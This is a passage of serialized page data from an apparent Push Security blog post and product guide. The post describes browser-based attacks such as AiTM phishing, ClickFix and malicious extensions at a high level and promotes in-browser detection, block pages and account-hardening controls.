Type":865},{},[78984],{"type":997},{"data":78986,"marks":78987,"value":23156,"nodeType":865},{},[],{"data":78989,"content":78990,"nodeType":1003},{},[78991],{"data":78992,"content":78993,"nodeType":866},{},[78994,78997,79004],{"data":78995,"marks":78996,"value":74552,"nodeType":865},{},[],{"data":78998,"content":78999,"nodeType":882},{"uri":3240},[79000],{"data":79001,"marks":79002,"value":74560,"nodeType":865},{},[79003],{"type":997},{"data":79005,"marks":79006,"value":23156,"nodeType":865},{},[],{"data":79008,"content":79009,"nodeType":866},{},[79010],{"data":79011,"marks":79012,"value":74570,"nodeType":865},{},[],{"data":79014,"content":79015,"nodeType":1049},{},[79016,79029,79042,79055],{"data":79017,"content":79018,"nodeType":1003},{},[79019],{"data":79020,"content":79021,"nodeType":866},{},[79022,79026],{"data":79023,"marks":79024,"value":74584,"nodeType":865},{},[79025],{"type":961},{"data":79027,"marks":79028,"value":74588,"nodeType":865},{},[],{"data":79030,"content":79031,"nodeType":1003},{},[79032],{"data":79033,"content":79034,"nodeType":866},{},[79035,79039],{"data":79036,"marks":79037,"value":74599,"nodeType":865},{},[79038],{"type":961},{"data":79040,"marks":79041,"value":74603,"nodeType":865},{},[],{"data":79043,"content":79044,"nodeType":1003},{},[79045],{"data":79046,"content":79047,"nodeType":866},{},[79048,79052],{"data":79049,"marks":79050,"value":74614,"nodeType":865},{},[79051],{"type":961},{"data":79053,"marks":79054,"value":74618,"nodeType":865},{},[],{"data":79056,"content":79057,"nodeType":1003},{},[79058],{"data":79059,"content":79060,"nodeType":866},{},[79061,79065],{"data":79062,"marks":79063,"value":74629,"nodeType":865},{},[79064],{"type":961},{"data":79066,"marks":79067,"value":74633,"nodeType":865},{},[],{"data":79069,"content":79070,"nodeType":866},{},[79071],{"data":79072,"marks":79073,"value":74640,"nodeType":865},{},[],{"data":79075,"content":79076,"nodeType":953},{},[],{"data":79078,"content":79079,"nodeType":963},{},[79080],{"data":79081,"marks":79082,"value":74651,"nodeType":865},{},[79083],{"type":961},{"data":79085,"content":79086,"nodeType":866},{},[79087],{"data":79088,"marks":79089,"value":74658,"nodeType":865},{},[],{"data":79091,"content":79092,"nodeType":866},{},[79093],{"data":79094,"marks":79095,"value":74665,"nodeType":865},{},[],{"data":79097,"content":79100,"nodeType":925},{"target":79098},{"sys":79099},{"id":74670,"type":922,"linkType":923},[],{"data":79102,"content":79103,"nodeType":953},{},[],{"data":79105,"content":79106,"nodeType":963},{},[79107],{"data":79108,"marks":79109,"value":3604,"nodeType":865},{},[79110],{"type":961},{"data":79112,"content":79113,"nodeType":866},{},[79114],{"data":79115,"marks":79116,"value":74688,"nodeType":865},{},[],{"data":79118,"content":79119,"nodeType":866},{},[79120],{"data":79121,"marks":79122,"value":74695,"nodeType":865},{},[],{"data":79124,"content":79125,"nodeType":866},{},[79126],{"data":79127,"marks":79128,"value":74702,"nodeType":865},{},[],{"data":79130,"content":79131,"nodeType":866},{},[79132,79135,79142,79145,79152],{"data":79133,"marks":79134,"value":32401,"nodeType":865},{},[],{"data":79136,"content":79137,"nodeType":882},{"uri":22700},[79138],{"data":79139,"marks":79140,"value":22706,"nodeType":865},{},[79141],{"type":997},{"data":79143,"marks":79144,"value":71034,"nodeType":865},{},[],{"data":79146,"content":79147,"nodeType":882},{"uri":1728},[79148],{"data":79149,"marks":79150,"value":22730,"nodeType":865},{},[79151],{"type":997},{"data":79153,"marks":79154,"value":1048,"nodeType":865},{},[],{"items":79156},[79157,79159],{"sys":79158,"name":11426},{"id":11425},{"sys":79160,"name":342},{"id":8410},{"items":79162},[79163],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":79164},{"url":11434},{"__typename":1788,"sys":79166,"content":79168,"title":80510,"synopsis":80511,"hashTags":59,"publishedDate":80512,"slug":80513,"tagsCollection":80514,"authorsCollection":80520},{"id":79167},"wI3paLVDlEKdaRI5qMYFc",{"json":79169},{"data":79170,"content":79171,"nodeType":1739},{},[79172,79179,79202,79209,79215,79222,79229,79236,79242,79245,79253,79260,79266,79271,79287,79485,79497,79505,79512,79519,79526,79546,79552,79559,79562,79570,79577,79610,79617,79633,79654,79689,79695,79702,79721,79728,79735,79738,79746,79753,79845,79852,79859,79867,79874,79881,79888,79893,79901,79908,79915,79922,79928,79935,79943,79961,79969,79976,79982,79985,79993,80000,80007,80117,80123,80130,80137,80144,80151,80158,80166,80173,80180,80204,80210,80226,80241,80257,80263,80271,80278,80286,80293,80296,80304,80311,80344,80350,80374,80381,80384,80392,80399,80415,80421,80428,80435,80438,80445,80463,80470],{"data":79173,"content":79174,"nodeType":866},{},[79175],{"data":79176,"marks":79177,"value":79178,"nodeType":865},{},[],"Here are two things that can’t both be true:",{"data":79180,"content":79181,"nodeType":1049},{},[79182,79192],{"data":79183,"content":79184,"nodeType":1003},{},[79185],{"data":79186,"content":79187,"nodeType":866},{},[79188],{"data":79189,"marks":79190,"value":79191,"nodeType":865},{},[],"Users are the weakest link in security. They just need to stop clicking on things.",{"data":79193,"content":79194,"nodeType":1003},{},[79195],{"data":79196,"content":79197,"nodeType":866},{},[79198],{"data":79199,"marks":79200,"value":79201,"nodeType":865},{},[],"The internet is a giant clicking-on-things machine.",{"data":79203,"content":79204,"nodeType":866},{},[79205],{"data":79206,"marks":79207,"value":79208,"nodeType":865},{},[],"In particular, when we look at the TTPs of modern browser-based attacks that target employees, it’s obvious where this disconnect has real consequences. ",{"data":79210,"content":79214,"nodeType":925},{"target":79211},{"sys":79212},{"id":79213,"type":922,"linkType":923},"2x3blnHzZYcJ8c439C4NqI",[],{"data":79216,"content":79217,"nodeType":866},{},[79218],{"data":79219,"marks":79220,"value":79221,"nodeType":865},{},[],"Here’s why: Security tooling hasn’t kept up with adversary advances, and normal human behaviors are being expressly targeted via the browser to achieve compromise of accounts and endpoints. If you list the pitfalls facing the common end-user encountering these kinds of attack methods, the picture becomes even more stark.",{"data":79223,"content":79224,"nodeType":866},{},[79225],{"data":79226,"marks":79227,"value":79228,"nodeType":865},{},[],"To solve these problems, you need security tooling that sits in line with the user where they’re already working: In the browser. In this Push product guide, we’ll cover how you can use Push to provide point-in-time guidance — everything from block pages to informational banners — to protect users from modern browser-based TTPs and to guide them to remediate common vulnerabilities that can lead to account takeover.",{"data":79230,"content":79231,"nodeType":866},{},[79232],{"data":79233,"marks":79234,"value":79235,"nodeType":865},{},[],"We’ve also recently introduced custom branding and styling options for user-facing block pages and banners so you can provide a cohesive and trustworthy experience across your security ecosystem.",{"data":79237,"content":79241,"nodeType":925},{"target":79238},{"sys":79239},{"id":79240,"type":922,"linkType":923},"7fwCnr9bz76rWWCL6EReOT",[],{"data":79243,"content":79244,"nodeType":953},{},[],{"data":79246,"content":79247,"nodeType":963},{},[79248],{"data":79249,"marks":79250,"value":79252,"nodeType":865},{},[79251],{"type":961},"Why you can’t train users to recognize modern browser-based attack methods",{"data":79254,"content":79255,"nodeType":866},{},[79256],{"data":79257,"marks":79258,"value":79259,"nodeType":865},{},[],"User awareness training can help you build your workforce’s basic security baseline. But it’s not a reliable remedy for modern browser-based TTPs. When you look at the creative methods attackers are using — and rapidly improving on — it’s obvious why.",{"data":79261,"content":79265,"nodeType":925},{"target":79262},{"sys":79263},{"id":79264,"type":922,"linkType":923},"eHla7GPCH5eTpdfEqW5Zo",[],{"data":79267,"content":79270,"nodeType":925},{"target":79268},{"sys":79269},{"id":5415,"type":922,"linkType":923},[],{"data":79272,"content":79273,"nodeType":866},{},[79274,79278,79283],{"data":79275,"marks":79276,"value":79277,"nodeType":865},{},[],"To avoid account or endpoint compromise while going about your daily work as a user, you would need to accomplish these ",{"data":79279,"marks":79280,"value":79282,"nodeType":865},{},[79281],{"type":944},"extremely 100% achievable activities",{"data":79284,"marks":79285,"value":79286,"nodeType":865},{},[],", including:",{"data":79288,"content":79289,"nodeType":2396},{},[79290,79315,79355,79378,79411,79443],{"data":79291,"content":79292,"nodeType":1869},{},[79293,79304],{"data":79294,"content":79295,"nodeType":13791},{},[79296],{"data":79297,"content":79298,"nodeType":866},{},[79299],{"data":79300,"marks":79301,"value":79303,"nodeType":865},{},[79302],{"type":961},"Scenario",{"data":79305,"content":79306,"nodeType":13791},{},[79307],{"data":79308,"content":79309,"nodeType":866},{},[79310],{"data":79311,"marks":79312,"value":79314,"nodeType":865},{},[79313],{"type":961},"Threat",{"data":79316,"content":79317,"nodeType":1869},{},[79318,79341],{"data":79319,"content":79320,"nodeType":1835},{},[79321],{"data":79322,"content":79323,"nodeType":866},{},[79324,79328,79337],{"data":79325,"marks":79326,"value":79327,"nodeType":865},{},[],"While using search engines, never click on a ",{"data":79329,"content":79332,"nodeType":15311},{"target":79330},{"sys":79331},{"id":15536,"type":922,"linkType":923},[79333],{"data":79334,"marks":79335,"value":79336,"nodeType":865},{},[],"malicious link",{"data":79338,"marks":79339,"value":79340,"nodeType":865},{},[]," in sponsored or organic results (it's often the first link you see, too).",{"data":79342,"content":79343,"nodeType":1835},{},[79344],{"data":79345,"content":79346,"nodeType":866},{},[79347,79351],{"data":79348,"marks":79349,"value":79350,"nodeType":865},{},[],"M",{"data":79352,"marks":79353,"value":79354,"nodeType":865},{},[],"alvertising, SEO poisoning, compromised legitimate webpages, vibecoded phishing webpages.",{"data":79356,"content":79357,"nodeType":1869},{},[79358,79368],{"data":79359,"content":79360,"nodeType":1835},{},[79361],{"data":79362,"content":79363,"nodeType":866},{},[79364],{"data":79365,"marks":79366,"value":79367,"nodeType":865},{},[],"Know when to trust an email coming from an app you use every day, and when it could be malicious (it looks the same).",{"data":79369,"content":79370,"nodeType":1835},{},[79371],{"data":79372,"content":79373,"nodeType":866},{},[79374],{"data":79375,"marks":79376,"value":79377,"nodeType":865},{},[],"Using SaaS services to distribute malicious links using trusted sites (also a handy way of evading email controls).",{"data":79379,"content":79380,"nodeType":1869},{},[79381,79401],{"data":79382,"content":79383,"nodeType":1835},{},[79384],{"data":79385,"content":79386,"nodeType":866},{},[79387,79391,79398],{"data":79388,"marks":79389,"value":79390,"nodeType":865},{},[],"When reading a LinkedIn DM from a colleague, anticipate that they might have been hacked and have sent you a malicious link. (Yes, this was a ",{"data":79392,"content":79393,"nodeType":882},{"uri":5166},[79394],{"data":79395,"marks":79396,"value":79397,"nodeType":865},{},[],"real scenario",{"data":79399,"marks":79400,"value":13643,"nodeType":865},{},[],{"data":79402,"content":79403,"nodeType":1835},{},[79404],{"data":79405,"content":79406,"nodeType":866},{},[79407],{"data":79408,"marks":79409,"value":79410,"nodeType":865},{},[],"Abuse of social media, IM platforms, and other apps where you can be directly contacted by users external to your organization. ",{"data":79412,"content":79413,"nodeType":1869},{},[79414,79424],{"data":79415,"content":79416,"nodeType":1835},{},[79417],{"data":79418,"content":79419,"nodeType":866},{},[79420],{"data":79421,"marks":79422,"value":79423,"nodeType":865},{},[],"When logging in to an app, never follow benign-seeming but actually malicious instructions to enter a code onto a legitimate page to complete your login.",{"data":79425,"content":79426,"nodeType":1835},{},[79427],{"data":79428,"content":79429,"nodeType":866},{},[79430,79434,79440],{"data":79431,"marks":79432,"value":79433,"nodeType":865},{},[],"AiTM phishing, OAuth consent phishing, ",{"data":79435,"content":79436,"nodeType":882},{"uri":1384},[79437],{"data":79438,"marks":79439,"value":29100,"nodeType":865},{},[],{"data":79441,"marks":79442,"value":1048,"nodeType":865},{},[],{"data":79444,"content":79445,"nodeType":1869},{},[79446,79456],{"data":79447,"content":79448,"nodeType":1835},{},[79449],{"data":79450,"content":79451,"nodeType":866},{},[79452],{"data":79453,"marks":79454,"value":79455,"nodeType":865},{},[],"Know which instructions to follow and which are malicious when verifying that you're human on a CAPTCHA-style page.",{"data":79457,"content":79458,"nodeType":1835},{},[79459],{"data":79460,"content":79461,"nodeType":866},{},[79462,79465,79471,79475,79481],{"data":79463,"marks":79464,"value":21,"nodeType":865},{},[],{"data":79466,"content":79467,"nodeType":882},{"uri":38372},[79468],{"data":79469,"marks":79470,"value":315,"nodeType":865},{},[],{"data":79472,"marks":79473,"value":79474,"nodeType":865},{},[],"-style attacks that trick the user into running a malicious script or command, or ",{"data":79476,"content":79477,"nodeType":882},{"uri":11102},[79478],{"data":79479,"marks":79480,"value":11095,"nodeType":865},{},[],{"data":79482,"marks":79483,"value":79484,"nodeType":865},{},[]," (which is even sneakier and simply involves copying a URL).",{"data":79486,"content":79487,"nodeType":866},{},[79488,79492],{"data":79489,"marks":79490,"value":79491,"nodeType":865},{},[],"And we're barely scratching the surface here. ",{"data":79493,"marks":79494,"value":79496,"nodeType":865},{},[79495],{"type":961},"Easy, right?",{"data":79498,"content":79499,"nodeType":1458},{},[79500],{"data":79501,"marks":79502,"value":79504,"nodeType":865},{},[79503],{"type":961},"Can't we block users from interacting with bad content? ",{"data":79506,"content":79507,"nodeType":866},{},[79508],{"data":79509,"marks":79510,"value":79511,"nodeType":865},{},[],"So if you can’t train your way out of these problems, what about locking down and blocking your way out of the problem?",{"data":79513,"content":79514,"nodeType":866},{},[79515],{"data":79516,"marks":79517,"value":79518,"nodeType":865},{},[],"This, too, simply isn’t really feasible. ",{"data":79520,"content":79521,"nodeType":866},{},[79522],{"data":79523,"marks":79524,"value":79525,"nodeType":865},{},[],"Modern cloud-first adversaries routinely rotate domains on malicious pages; use trusted services like SharePoint, Adobe, Google Sites, Cloudflare, and Atlassian to deliver lures; target end-users across multiple channels, including social media, forums, chat platforms, Google search results, email, and webpages; and use legitimate security tools like bot protection to bypass detection by other legitimate security tools, such as web content scanning and analysis solutions.",{"data":79527,"content":79528,"nodeType":866},{},[79529,79533,79537,79542],{"data":79530,"marks":79531,"value":79532,"nodeType":865},{},[],"To safely navigate the internet today, y",{"data":79534,"marks":79535,"value":79536,"nodeType":865},{},[],"ou need to be able to spot malicious pages and content ",{"data":79538,"marks":79539,"value":79541,"nodeType":865},{},[79540],{"type":961},"the first time they're seen in the wild",{"data":79543,"marks":79544,"value":79545,"nodeType":865},{},[],". If you're relying on indicators of known bad, you're always a step behind, leaving users exposed.",{"data":79547,"content":79551,"nodeType":925},{"target":79548},{"sys":79549},{"id":79550,"type":922,"linkType":923},"3ZfqOLRdJZJIc78rj9E9JZ",[],{"data":79553,"content":79554,"nodeType":866},{},[79555],{"data":79556,"marks":79557,"value":79558,"nodeType":865},{},[],"To protect users while they work online, you need a purpose-built security tool that can respond in real time to modern TTPs and guide users securely — without introducing extra work or a lot of friction. Push can help with that.",{"data":79560,"content":79561,"nodeType":953},{},[],{"data":79563,"content":79564,"nodeType":963},{},[79565],{"data":79566,"marks":79567,"value":79569,"nodeType":865},{},[79568],{"type":961},"Why in-browser controls?",{"data":79571,"content":79572,"nodeType":866},{},[79573],{"data":79574,"marks":79575,"value":79576,"nodeType":865},{},[],"Simply put, using in-browser security controls gets you the closest to the user and their work in order to protect them from modern browser-based threats. Adding in-browser controls also solves two tricky problems for security teams: ",{"data":79578,"content":79579,"nodeType":1049},{},[79580,79595],{"data":79581,"content":79582,"nodeType":1003},{},[79583],{"data":79584,"content":79585,"nodeType":866},{},[79586,79591],{"data":79587,"marks":79588,"value":79590,"nodeType":865},{},[79589],{"type":961},"Filling the gap between solution layers",{"data":79592,"marks":79593,"value":79594,"nodeType":865},{},[]," in order to detect and block attack methods like Adversary-in-the-Middle phishing, malicious browser extensions, and ClickFix-style social engineering attacks that other tools miss.",{"data":79596,"content":79597,"nodeType":1003},{},[79598],{"data":79599,"content":79600,"nodeType":866},{},[79601,79606],{"data":79602,"marks":79603,"value":79605,"nodeType":865},{},[79604],{"type":961},"Providing just-in-time security enforcement",{"data":79607,"marks":79608,"value":79609,"nodeType":865},{},[]," to end-users when it’s the right moment to act on that guidance, reducing your attack surface across your online apps, browser extensions, and accounts, and ensuring your app usage policies are followed.",{"data":79611,"content":79612,"nodeType":1458},{},[79613],{"data":79614,"marks":79615,"value":79616,"nodeType":865},{},[],"Fill the gap between solution layers",{"data":79618,"content":79619,"nodeType":866},{},[79620,79624,79629],{"data":79621,"marks":79622,"value":79623,"nodeType":865},{},[],"Most existing security solutions operate just ",{"data":79625,"marks":79626,"value":79628,"nodeType":865},{},[79627],{"type":944},"outside",{"data":79630,"marks":79631,"value":79632,"nodeType":865},{},[]," the context of a user interacting with a webpage. This leaves blind spots that attackers are exploiting between layers of security tooling.",{"data":79634,"content":79635,"nodeType":866},{},[79636,79640,79650],{"data":79637,"marks":79638,"value":79639,"nodeType":865},{},[],"For example, network proxies see HTTP requests, URLs, and page headers, but not the ",{"data":79641,"content":79645,"nodeType":15311},{"target":79642},{"sys":79643},{"id":79644,"type":922,"linkType":923},"5caCcGCqMMPm5KlwUv0sbz",[79646],{"data":79647,"marks":79648,"value":79649,"nodeType":865},{},[],"structural elements",{"data":79651,"marks":79652,"value":79653,"nodeType":865},{},[]," of the DOM or on-page user interactions that are key to fingerprinting the behavior of AiTM phishing kits or ClickFix-style social engineering attacks. ",{"data":79655,"content":79656,"nodeType":866},{},[79657,79661,79671,79675,79685],{"data":79658,"marks":79659,"value":79660,"nodeType":865},{},[],"Similarly, ",{"data":79662,"content":79666,"nodeType":15311},{"target":79663},{"sys":79664},{"id":79665,"type":922,"linkType":923},"6YWYKGESlyUKQxvhKmBzeH",[79667],{"data":79668,"marks":79669,"value":79670,"nodeType":865},{},[],"EDR tools",{"data":79672,"marks":79673,"value":79674,"nodeType":865},{},[]," only see the bad thing when it hits the endpoint, and many ",{"data":79676,"content":79680,"nodeType":15311},{"target":79677},{"sys":79678},{"id":79679,"type":922,"linkType":923},"2k2aDK5dyQKlQBrk66pMXE",[79681],{"data":79682,"marks":79683,"value":79684,"nodeType":865},{},[],"cloud security tools",{"data":79686,"marks":79687,"value":79688,"nodeType":865},{},[]," rely on complex policy configurations across a core set of apps to provide security protection — leaving a gap in detection and response capabilities outside their purview.",{"data":79690,"content":79694,"nodeType":925},{"target":79691},{"sys":79692},{"id":79693,"type":922,"linkType":923},"50NyBpr96dKspvTzJTBOlC",[],{"data":79696,"content":79697,"nodeType":1458},{},[79698],{"data":79699,"marks":79700,"value":79701,"nodeType":865},{},[],"Provide just-in-time security enforcement",{"data":79703,"content":79704,"nodeType":866},{},[79705,79709,79717],{"data":79706,"marks":79707,"value":79708,"nodeType":865},{},[],"As some of our customers like to say, Push provides security teams with a ",{"data":79710,"content":79712,"nodeType":882},{"uri":79711},"/customer-stories/upvest",[79713],{"data":79714,"marks":79715,"value":79716,"nodeType":865},{},[],"“seat on the user’s side”",{"data":79718,"marks":79719,"value":79720,"nodeType":865},{},[]," of the equation so you can enforce security best practices.",{"data":79722,"content":79723,"nodeType":866},{},[79724],{"data":79725,"marks":79726,"value":79727,"nodeType":865},{},[],"Having that seat on the user’s side also helps you deliver guidance in the right context for it to be followed: When the user is engaged in doing the behavior you want to influence (or prevent). The right information, at the right time, in the right format — not a belated reminder through a different channel that’s easy to ignore.",{"data":79729,"content":79730,"nodeType":866},{},[79731],{"data":79732,"marks":79733,"value":79734,"nodeType":865},{},[],"With those outcomes in mind, let’s look at some specific solutions from the Push platform.",{"data":79736,"content":79737,"nodeType":953},{},[],{"data":79739,"content":79740,"nodeType":963},{},[79741],{"data":79742,"marks":79743,"value":79745,"nodeType":865},{},[79744],{"type":961},"How Push helps you protect users from browser-based ATO, ClickFix, and similar attacks",{"data":79747,"content":79748,"nodeType":866},{},[79749],{"data":79750,"marks":79751,"value":79752,"nodeType":865},{},[],"The Push platform provides out-of-the-box detections for browser-based attacks, including:",{"data":79754,"content":79755,"nodeType":1049},{},[79756,79778,79801,79822],{"data":79757,"content":79758,"nodeType":1003},{},[79759],{"data":79760,"content":79761,"nodeType":866},{},[79762,79765,79774],{"data":79763,"marks":79764,"value":21,"nodeType":865},{},[],{"data":79766,"content":79770,"nodeType":15311},{"target":79767},{"sys":79768},{"id":79769,"type":922,"linkType":923},"7KRnTSnJAbbiho69gNyN0B",[79771],{"data":79772,"marks":79773,"value":8657,"nodeType":865},{},[],{"data":79775,"marks":79776,"value":79777,"nodeType":865},{},[]," that can bypass MFA",{"data":79779,"content":79780,"nodeType":1003},{},[79781],{"data":79782,"content":79783,"nodeType":866},{},[79784,79787,79797],{"data":79785,"marks":79786,"value":21,"nodeType":865},{},[],{"data":79788,"content":79792,"nodeType":15311},{"target":79789},{"sys":79790},{"id":79791,"type":922,"linkType":923},"jN3GN5ddMJZiDtl0fgUVd",[79793],{"data":79794,"marks":79795,"value":79796,"nodeType":865},{},[],"Cloned login pages",{"data":79798,"marks":79799,"value":79800,"nodeType":865},{},[]," designed to steal user credentials",{"data":79802,"content":79803,"nodeType":1003},{},[79804],{"data":79805,"content":79806,"nodeType":866},{},[79807,79810,79819],{"data":79808,"marks":79809,"value":21,"nodeType":865},{},[],{"data":79811,"content":79815,"nodeType":15311},{"target":79812},{"sys":79813},{"id":79814,"type":922,"linkType":923},"5NyiWgjMDwk16XZ0S681JK",[79816],{"data":79817,"marks":79818,"value":699,"nodeType":865},{},[],{"data":79820,"marks":79821,"value":21,"nodeType":865},{},[],{"data":79823,"content":79824,"nodeType":1003},{},[79825],{"data":79826,"content":79827,"nodeType":866},{},[79828,79831,79841],{"data":79829,"marks":79830,"value":21,"nodeType":865},{},[],{"data":79832,"content":79836,"nodeType":15311},{"target":79833},{"sys":79834},{"id":79835,"type":922,"linkType":923},"7jygmadjoz0asAHv7e5PuK",[79837],{"data":79838,"marks":79839,"value":79840,"nodeType":865},{},[],"Malicious copy and paste attacks",{"data":79842,"marks":79843,"value":79844,"nodeType":865},{},[]," like ClickFix, FileFix, and similar",{"data":79846,"content":79847,"nodeType":866},{},[79848],{"data":79849,"marks":79850,"value":79851,"nodeType":865},{},[],"For each of these attack vectors, Push delivers detection events and associated metadata for quick triage by the security team, as well as employee-facing warn or block screens, based on your selected configuration.",{"data":79853,"content":79854,"nodeType":866},{},[79855],{"data":79856,"marks":79857,"value":79858,"nodeType":865},{},[],"Here’s a snapshot of the capabilities of these controls and what end-users will experience.",{"data":79860,"content":79861,"nodeType":1458},{},[79862],{"data":79863,"marks":79864,"value":79866,"nodeType":865},{},[79865],{"type":961},"The scenario:",{"data":79868,"content":79869,"nodeType":866},{},[79870],{"data":79871,"marks":79872,"value":79873,"nodeType":865},{},[],"When a user encounters a malicious page — whether that’s an AiTM phishing tool running on a webpage, or a ClickFix-style attack — or attempts to install a malicious extension, Push immediately steps in. ",{"data":79875,"content":79876,"nodeType":866},{},[79877],{"data":79878,"marks":79879,"value":79880,"nodeType":865},{},[],"Push can prevent users from entering their credentials on phishing pages, including cloned login pages, or from pasting malicious clipboard contents that can run malware on their device. Push can also prevent users from installing known-bad browser extensions. ",{"data":79882,"content":79883,"nodeType":866},{},[79884],{"data":79885,"marks":79886,"value":79887,"nodeType":865},{},[],"In each of these scenarios, Push admins get detailed detection information they can use to triage the incident.",{"data":79889,"content":79892,"nodeType":925},{"target":79890},{"sys":79891},{"id":15627,"type":922,"linkType":923},[],{"data":79894,"content":79895,"nodeType":1458},{},[79896],{"data":79897,"marks":79898,"value":79900,"nodeType":865},{},[79899],{"type":961},"How it works:",{"data":79902,"content":79903,"nodeType":866},{},[79904],{"data":79905,"marks":79906,"value":79907,"nodeType":865},{},[],"Rather than relying on known-bad intelligence like domains or URLs, Push performs a behavioral and structural analysis of malicious pages in real time.",{"data":79909,"content":79910,"nodeType":866},{},[79911],{"data":79912,"marks":79913,"value":79914,"nodeType":865},{},[],"That means a phishing page never has to appear in a threat intelligence feed in order to be detected and blocked.",{"data":79916,"content":79917,"nodeType":866},{},[79918],{"data":79919,"marks":79920,"value":79921,"nodeType":865},{},[],"Similarly, for malicious copy and paste attacks like ClickFix, Push analyzes the content copied to the clipboard but also evaluates the context of the page to reduce false positives. In blocking mode, Push’s control for ClickFix-style attacks replaces the malicious clipboard contents with safe text — preventing potential endpoint compromise before it can occur.",{"data":79923,"content":79927,"nodeType":925},{"target":79924},{"sys":79925},{"id":79926,"type":922,"linkType":923},"3OkejjEjV9xflBc5ouOVFn",[],{"data":79929,"content":79930,"nodeType":866},{},[79931],{"data":79932,"marks":79933,"value":79934,"nodeType":865},{},[],"Finally, for identifying malicious browser extensions, Push takes a slightly different approach — combining both behavioral detections and curated intelligence of known-bad extensions from our own research and from trusted industry sources. We’ve found this combination provides the highest-fidelity way to identify malicious extensions without relying on approaches like analyzing extension permissions, which often isn’t actionable. ",{"data":79936,"content":79937,"nodeType":1458},{},[79938],{"data":79939,"marks":79940,"value":79942,"nodeType":865},{},[79941],{"type":961},"Your security team gets:",{"data":79944,"content":79945,"nodeType":866},{},[79946,79950,79958],{"data":79947,"marks":79948,"value":79949,"nodeType":865},{},[],"Readymade detection and alerting, combined with detailed telemetry. Detections and their associated metadata can be consumed via ",{"data":79951,"content":79953,"nodeType":882},{"uri":79952},"/help/audience/administrators/docs/getting-started/#api-and-webhooks",[79954],{"data":79955,"marks":79956,"value":79957,"nodeType":865},{},[],"Push’s REST API and webhooks",{"data":79959,"marks":79960,"value":10349,"nodeType":865},{},[],{"data":79962,"content":79963,"nodeType":1458},{},[79964],{"data":79965,"marks":79966,"value":79968,"nodeType":865},{},[79967],{"type":961},"Your end-users see:",{"data":79970,"content":79971,"nodeType":866},{},[79972],{"data":79973,"marks":79974,"value":79975,"nodeType":865},{},[],"An immediate block screen in your company colors and brand style, providing a highly memorable, contextual moment of learning — and reassuring them that an incident has been prevented.",{"data":79977,"content":79981,"nodeType":925},{"target":79978},{"sys":79979},{"id":79980,"type":922,"linkType":923},"4QfjDDfKjohKr1qqDLRT0m",[],{"data":79983,"content":79984,"nodeType":953},{},[],{"data":79986,"content":79987,"nodeType":963},{},[79988],{"data":79989,"marks":79990,"value":79992,"nodeType":865},{},[79991],{"type":961},"How Push helps you remediate account vulnerabilities at scale",{"data":79994,"content":79995,"nodeType":866},{},[79996],{"data":79997,"marks":79998,"value":79999,"nodeType":865},{},[],"Just-in-time security enforcement works best when it’s trustworthy and contextual — without making a lot more work for your team. Push also provides readymade controls for remediating common account vulnerabilities that contribute to your attack surface online, helping you harden existing accounts and reduce behaviors that introduce new risks.",{"data":80001,"content":80002,"nodeType":866},{},[80003],{"data":80004,"marks":80005,"value":80006,"nodeType":865},{},[],"With Push, you can:",{"data":80008,"content":80009,"nodeType":1049},{},[80010,80033,80070,80094],{"data":80011,"content":80012,"nodeType":1003},{},[80013],{"data":80014,"content":80015,"nodeType":866},{},[80016,80019,80029],{"data":80017,"marks":80018,"value":21,"nodeType":865},{},[],{"data":80020,"content":80024,"nodeType":15311},{"target":80021},{"sys":80022},{"id":80023,"type":922,"linkType":923},"6FYHbkcRUrtznPo7RarRsz",[80025],{"data":80026,"marks":80027,"value":80028,"nodeType":865},{},[],"Prevent the phishing or reuse of high-value passwords",{"data":80030,"marks":80031,"value":80032,"nodeType":865},{},[],", like your IdP, AWS, or code repository passwords.",{"data":80034,"content":80035,"nodeType":1003},{},[80036],{"data":80037,"content":80038,"nodeType":866},{},[80039,80043,80053,80056,80066],{"data":80040,"marks":80041,"value":80042,"nodeType":865},{},[],"Remediate ",{"data":80044,"content":80048,"nodeType":15311},{"target":80045},{"sys":80046},{"id":80047,"type":922,"linkType":923},"2WAc5HflKonFN7Jc53ROgj",[80049],{"data":80050,"marks":80051,"value":80052,"nodeType":865},{},[],"missing MFA",{"data":80054,"marks":80055,"value":71034,"nodeType":865},{},[],{"data":80057,"content":80061,"nodeType":15311},{"target":80058},{"sys":80059},{"id":80060,"type":922,"linkType":923},"2dAP36chda6ZDGKzw0Itfs",[80062],{"data":80063,"marks":80064,"value":80065,"nodeType":865},{},[],"insecure passwords",{"data":80067,"marks":80068,"value":80069,"nodeType":865},{},[]," on any work app, even those not managed by your SSO solution.",{"data":80071,"content":80072,"nodeType":1003},{},[80073],{"data":80074,"content":80075,"nodeType":866},{},[80076,80080,80090],{"data":80077,"marks":80078,"value":80079,"nodeType":865},{},[],"Use ",{"data":80081,"content":80085,"nodeType":15311},{"target":80082},{"sys":80083},{"id":80084,"type":922,"linkType":923},"2ZpKnuljaUH0jzVaae4SMN",[80086],{"data":80087,"marks":80088,"value":80089,"nodeType":865},{},[],"in-browser banners",{"data":80091,"marks":80092,"value":80093,"nodeType":865},{},[]," to add guardrails to app usage, including blocking unapproved SaaS or collecting a business reason to access an app before approving it.",{"data":80095,"content":80096,"nodeType":1003},{},[80097],{"data":80098,"content":80099,"nodeType":866},{},[80100,80103,80113],{"data":80101,"marks":80102,"value":21,"nodeType":865},{},[],{"data":80104,"content":80108,"nodeType":15311},{"target":80105},{"sys":80106},{"id":80107,"type":922,"linkType":923},"3ibVBa6u0XfcXXDVtON5th",[80109],{"data":80110,"marks":80111,"value":80112,"nodeType":865},{},[],"Block unwanted or unapproved browser extensions",{"data":80114,"marks":80115,"value":80116,"nodeType":865},{},[]," from being installed, or disable them if they’ve been installed previously.",{"data":80118,"content":80119,"nodeType":866},{},[80120],{"data":80121,"marks":80122,"value":79858,"nodeType":865},{},[],{"data":80124,"content":80125,"nodeType":1458},{},[80126],{"data":80127,"marks":80128,"value":79866,"nodeType":865},{},[80129],{"type":961},{"data":80131,"content":80132,"nodeType":866},{},[80133],{"data":80134,"marks":80135,"value":80136,"nodeType":865},{},[],"Push uses in-browser controls to intervene when a user is missing MFA; reusing a high-value password; using an insecure password; attempting to log in to an unapproved app; or attempting to install a blocked extension. ",{"data":80138,"content":80139,"nodeType":866},{},[80140],{"data":80141,"marks":80142,"value":80143,"nodeType":865},{},[],"Push can block users from reusing passwords set as “protected” (meaning they can’t be reused on any other page or app) or from using unapproved apps or extensions. Push can guide users to update their password or register for MFA on accounts where they lack it. Push can also provide any other specific security or policy guidance to employees via banners that appear on apps in your environment, including GenAI apps. 